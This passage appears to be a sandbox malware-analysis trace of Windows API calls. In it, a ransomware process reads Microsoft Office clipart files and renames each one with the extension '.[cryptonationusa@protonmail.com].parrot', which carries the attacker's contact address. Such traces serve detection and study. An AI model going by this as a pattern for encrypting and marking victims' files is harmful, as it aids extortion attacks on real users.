liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.330] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.332] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.332] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0129.335] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.340] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.340] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.343] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.343] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa79c, lpOverlapped=0x0) returned 1 [0129.346] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.352] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.353] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.353] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.354] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c8, lpOverlapped=0x0) returned 1 [0129.354] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.389] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.389] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.391] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.391] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78c, lpOverlapped=0x0) returned 1 [0129.391] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.396] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.396] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.397] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.397] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb88, lpOverlapped=0x0) returned 1 [0129.397] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.401] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.401] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.403] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.403] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2708, lpOverlapped=0x0) returned 1 [0129.404] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.409] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.409] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.411] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.411] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5130, lpOverlapped=0x0) returned 1 [0129.413] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.416] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.416] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.417] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x600c, lpOverlapped=0x0) returned 1 [0129.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.422] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.422] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.423] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.423] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b2, lpOverlapped=0x0) returned 1 [0129.423] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.438] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.438] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39e4, lpOverlapped=0x0) returned 1 [0129.439] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.443] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.443] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.445] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.445] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe6c, lpOverlapped=0x0) returned 1 [0129.445] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.449] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.449] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.451] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe30, lpOverlapped=0x0) returned 1 [0129.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.457] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.457] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.459] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.459] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe20, lpOverlapped=0x0) returned 1 [0129.460] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.463] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.463] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.464] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.464] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x85c, lpOverlapped=0x0) returned 1 [0129.464] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.468] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.468] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.469] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.469] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xadc, lpOverlapped=0x0) returned 1 [0129.470] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.473] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.473] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.474] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaec, lpOverlapped=0x0) returned 1 [0129.475] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.478] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.478] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.479] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.480] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb90, lpOverlapped=0x0) returned 1 [0129.480] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.483] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.483] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.484] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.484] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb90, lpOverlapped=0x0) returned 1 [0129.485] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: 